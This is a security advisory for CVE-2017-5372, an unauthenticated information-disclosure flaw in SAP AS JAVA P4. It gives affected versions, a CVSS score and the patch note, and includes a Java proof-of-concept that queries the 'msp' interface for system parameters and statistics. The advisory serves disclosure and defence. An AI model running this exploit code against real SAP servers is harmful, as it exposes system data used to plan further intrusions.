Application: SAP AS JAVA P4 **Versions Affected:**SAP AS JAVA P4 7.4 Vendor URL: SAP **Bugs:**Information disclosure **Reported:**10.03.2016 **Vendor response:**11.03.2016 **Date of Public Advisory:**12.10.2016 **Reference:**SAP Security Note 2331908 Author: Vahagn Vardanyan (ERPScan)
Class: Information disclosure
Impact: broken authentication
Remotely Exploitable: yes
Locally Exploitable: no
CVE:CVE-2017-5372
CVSS Base Score v3: 7.3 / 10 CVSS Base Vector:
AV: Attack Vector (Related exploit range) | Network (N) |
---|---|
AC: Attack Complexity (Required attack complexity) | Low (L) |
PR: Privileges Required (Level of privileges needed to exploit) | None (N) |
UI: User Interaction (Required user participation) | None (N) |
S: Scope (Change in scope due to impact caused to components beyond the vulnerable component) | Unchanged (U) |
C: Impact to Confidentiality | Low (L) |
I: Impact to Integrity | Low (L) |
A: Impact to Availability | Low (L) |
Anonymous attacker can send a special request and get sensitive information about an SAP system using SAP P4.
An attacker can use an Information disclosure vulnerability to reveal additional information (system data, debugging information, etc.) which will help to learn about a system and to plan other attacks.
SERVERCORE 7.11
SERVERCORE 7.20
SERVERCORE 7.30
SERVERCORE 7.31
SERVERCORE 7.40
SERVERCORE 7.50
To correct this vulnerability, install SAP Security Note 2331908
SAP AS JAVA P4 function msp (MSPRuntimeInterface
) does not require any authorization to call the following functions:
getInformation
getParameters
getServiceInfo
getStatistic
getClientStatistic
Java
package sap_p4_poc; ***** Properties p = new Properties(); p.put(“java.naming.factory.initial”, “com.sap.engine.services.jndi.InitialContextFactoryImpl”); p.put(“java.naming.provider.url”, SAP_IP+“:”+SAP_PORT); InitialContext initialContext = new InitialContext(p); Context initialContext = initialContext; MSPRuntimeInterface serialObj = (MSPRuntimeInterface)initialContext.lookup(“msp”); System.out.println(“----------------” + serialObj + “----------------------------------------”); System.out.println(“----------------SID:” + serialObj.getSystemId() + “----------------------------------------”); System.out.println(“----------------------getInformation:--------------------------------”); TreeMap Inf = serialObj.getInformation(); print_treee_map(Inf); System.out.println(“----------------------getParameters:----------------------------------”); TreeMap Par = serialObj.getParameters(); print_treee_map(Par); System.out.println(“-----------------------getServiceInfo:---------------------------------”); TreeMap Serv = serialObj.getServiceInfo(); print_treee_map(Serv); System.out.println(“-----------------------getStatistic:---------------------------------”); TreeMap Stat = serialObj.getStatistic(); print_treee_map(Stat); System.out.println(“-----------------------getClientStatistic:---------------------------------”); TreeMap Cli = serialObj.getClientStatistic(); print_treee_map(Cli);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package sap_p4_poc;
Properties p = new Properties();
p.put(“java.naming.factory.initial”, “com.sap.engine.services.jndi.InitialContextFactoryImpl”);
p.put(“java.naming.provider.url”, SAP_IP+“:”+SAP_PORT);
InitialContext initialContext = new InitialContext(p);
Context initialContext = initialContext;
MSPRuntimeInterface serialObj = (MSPRuntimeInterface)initialContext.lookup(“msp”);
System.out.println(“----------------” + serialObj + “----------------------------------------”);
System.out.println(“----------------SID:” + serialObj.getSystemId() + “----------------------------------------”);
System.out.println(“----------------------getInformation:--------------------------------”);
TreeMap Inf = serialObj.getInformation();
print_treee_map(Inf);
System.out.println(“----------------------getParameters:----------------------------------”);
TreeMap Par = serialObj.getParameters();
print_treee_map(Par);
System.out.println(“-----------------------getServiceInfo:---------------------------------”);
TreeMap Serv = serialObj.getServiceInfo();
print_treee_map(Serv);
System.out.println(“-----------------------getStatistic:---------------------------------”);
TreeMap Stat = serialObj.getStatistic();
print_treee_map(Stat);
System.out.println(“-----------------------getClientStatistic:---------------------------------”);
TreeMap Cli = serialObj.getClientStatistic();
print_treee_map(Cli);
—|—